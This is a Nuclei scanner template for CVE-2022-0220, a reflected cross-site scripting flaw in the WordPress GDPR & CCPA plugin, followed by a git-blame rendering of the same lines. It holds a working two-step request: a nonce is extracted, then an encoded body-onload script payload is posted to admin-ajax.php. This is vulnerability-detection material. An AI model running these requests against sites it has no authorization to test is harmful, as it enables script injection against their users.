nuclei-templates/cves/2022/CVE-2022-0220.yaml

id: CVE-2022-0220

info:
  name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
  reference: 
    - https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059
  tags: cve,cve2022,wordpress,wp-plugin,wp,xss

requests:
  - raw:
      - |
        GET /wp-admin HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}

    redirects: true
    max-redirects: 2
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "contains(all_headers_2, 'text/html')"
          - "status_code_2 == 200"
          - "contains(body_2, '<body onload=alert(document.domain)>')"
        condition: and

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - 'nonce":"([0-9a-z]+)'
        internal: true
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`id: CVE-2022-0220`

			`info:`
			`name: WordPress GDPR & CCPA < 1.9.27 - Unauthenticated Reflected Cross-Site Scripting`
			`author: daffainfo`
			`severity: medium`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`description: \|`
			The check_privacy_settings AJAX action of the WordPress GDPR WordPress plugin before 1.9.27, available to both unauthenticated and authenticated users, responds with JSON data without an "application/json" content-type. Since an HTML payload isn't properly escaped, it may be interpreted by a web browser led to this endpoint. Javascript code may be executed on a victim's browser. Due to v1.9.26 adding a CSRF check, the XSS is only exploitable against unauthenticated users (as they all share the same nonce)
			`reference:`
			`- https://wpscan.com/vulnerability/a91a01b9-7e36-4280-bc50-f6cff3e66059`
			`tags: cve,cve2022,wordpress,wp-plugin,wp,xss`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00
			`requests:`
			`- raw:`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`- \|`
			`GET /wp-admin HTTP/1.1`
			`Host: {{Hostname}}`

Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`- \|`
			`POST /wp-admin/admin-ajax.php HTTP/1.1`
			`Host: {{Hostname}}`
			`Content-Type: application/x-www-form-urlencoded`

Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`action=check_privacy_settings&settings%5B40%5D=40&settings%5B41%5D=%3cbody%20onload%3dalert(document.domain)%3e&nonce={{nonce}}`
Fix trailing spaces 2022-07-18 13:57:48 +00:00
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`redirects: true`
			`max-redirects: 2`
			`req-condition: true`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`matchers:`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`- type: dsl`
			`dsl:`
			`- "contains(all_headers_2, 'text/html')"`
			`- "status_code_2 == 200"`
			`- "contains(body_2, '<body onload=alert(document.domain)>')"`
			`condition: and`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`extractors:`
			`- type: regex`
			`name: nonce`
Create CVE-2022-0220.yaml 2022-07-18 13:40:25 +00:00			`part: body`
Update CVE-2022-0220.yaml 2022-07-25 16:41:56 +00:00			`group: 1`
			`regex:`
			`- 'nonce":"([0-9a-z]+)'`
			`internal: true`